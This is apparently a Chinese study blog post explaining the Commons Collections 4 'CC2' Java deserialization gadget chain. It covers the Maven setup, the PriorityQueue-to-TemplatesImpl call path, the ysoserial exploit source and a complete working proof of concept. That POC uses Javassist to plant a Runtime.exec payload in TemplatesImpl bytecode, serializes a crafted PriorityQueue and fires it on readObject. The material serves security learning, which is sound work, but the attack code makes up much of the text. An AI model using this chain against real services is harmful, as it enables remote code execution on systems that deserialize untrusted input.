前言
继续学习cc链,重点在于新知识的学习和运用
环境搭建
创建maven项目,pox.xml修改为如下内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>cc2</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>7</maven.compiler.source>
<maven.compiler.target>7</maven.compiler.target>
</properties>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>6</source>
<target>6</target>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
</dependencies>
</project>
|
这里jdk版本是7u80
前置知识
PriorityQueue
- PriorityQueue 是基于优先堆的一个无界队列,这个优先队列中的元素可以默认自然排序或者通过提供的Comparator 在队列实例化的时排序。
- PriorityQueue 不允许空值,而且不支持 non-comparable(不可比较)的对象,比如用户自定义的类。优先队列要求使用 Java Comparable 和 Comparator 接口给对象排序,并且在排序时会按照优先级处理其中的元素。
- PriorityQueue 的大小是不受限制的,但在创建时可以指定初始大小。当我们向优先队列增加元素的时候,队列大小会自动增加。
Javassist
Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javaassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。
TemplatesImpl
- TemplatesImpl 的属性
_bytecodes
存储了类字节码
- TemplatesImpl 类的部分方法可以使用这个类字节码去实例化这个类,这个类的父类需是 AbstractTranslet
- 在这个类的无参构造方法或静态代码块中写入恶意代码,再借 TemplatesImpl 之手实例化这个类触发恶意代码
漏洞分析
先来看一下ysoserial的gadget
1
2
3
4
5
6
7
8
9
10
|
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
|
先进入到java.util.PriorityQueue#readObject
中看一下,这里会进入到heapify()
中
跟进到heapify()
中后,会进入到siftDown()
中
继续跟进,如果comparator
的值不为空则会进入到siftDownUsingComparator()
中
在siftDownUsingComparator()
方法中,会调用comparator.compare()
方法去进行排序和对比,此时new一个TransformingComparator
类型的对象,则会进入到org.apache.commons.collections4.comparators.TransformingComparator#compare
中
而在org.apache.commons.collections4.comparators.TransformingComparator#compare
中,会去调用this.transformer.transform()
,到这里应该就很熟悉了,在往下会去调用org.apache.commons.collections4.functors.InvokerTransformer#transform
,可以通过反射去执行命令
下面是ysoserial的exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args);
}
|
这里大概的介绍一下整个流程,首先通过Javassist
向TemplatesImpl
的_bytecodes
字段中加入想要执行的命令,然后通过反射将其加入到PriorityQueue
队列中,到最后触发命令
而其并不是和cc5一样通过反射去执行命令,而是触发newTransformer
方法实例化恶意类达到命令执行的效果,在newTransformer
方法中会进入到getTransletInstance()
跟进到getTransletInstance()
中,_class == null
进入到defineTransletClasses()
中,然后会将_bytecodes
的值赋值给_class
,然和返回到getTransletInstance()
中
_class.newInstance()
会对_class
进行实例化,从而触发命令,这里是因为通过Javassist
构造了一个恶意类,恶意类的内容为Runtime.getRuntime().exec("calc");
,因此实例化时会执行命令
POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.ser"));
inputStream.readObject();
}
}
|
运行结果如下:
参考链接
- https://www.cnblogs.com/nice0e3/p/13860621.html
- https://su18.org/post/ysoserial-su18-2/#commonscollections2